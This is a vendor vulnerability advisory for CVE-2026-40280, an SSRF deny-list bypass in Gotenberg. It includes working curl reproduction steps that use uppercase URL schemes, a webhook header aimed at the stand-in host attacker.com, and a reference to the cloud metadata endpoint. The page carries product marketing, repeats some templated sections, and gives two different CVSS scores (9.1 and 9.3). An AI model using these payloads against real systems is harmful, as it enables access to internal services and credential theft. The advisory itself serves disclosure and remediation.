CVE-2026-40280

CVE-2026-40280 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.30.1. It is fixed in 8.31.0.

Summary

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline, lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass, uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
   # Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
   # Error is "Unable to download file" (connection refused), not "filter URL", bypass confirmed

Vulnerable Code

// See description for details

Steps to Reproduce

  1. Set up the application using the default configuration
  2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Impact

An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-40280 has a CVSS score of 9.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.31.0); upgrading removes the vulnerable code path.

Affected versions

github.com/gotenberg/gotenberg/v8 (<= 8.30.1)

Security releases

github.com/gotenberg/gotenberg/v8 → 8.31.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).

Frequently Asked Questions

  1. What is CVE-2026-40280? CVE-2026-40280 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.30.1. It is fixed in 8.31.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-40280? CVE-2026-40280 has a CVSS score of 9.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-40280? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.30.1 is affected.
  4. Is there a fix for CVE-2026-40280? Yes. CVE-2026-40280 is fixed in 8.31.0. Upgrade to this version or later.
  5. Is CVE-2026-40280 exploitable, and should I be worried? Whether CVE-2026-40280 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-40280 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-40280? Upgrade github.com/gotenberg/gotenberg/v8 to 8.31.0 or later.

Other vulnerabilities in github.com/gotenberg/gotenberg/v8

CVE-2026-55229CVE-2026-45741CVE-2026-44829CVE-2026-42595CVE-2026-42597

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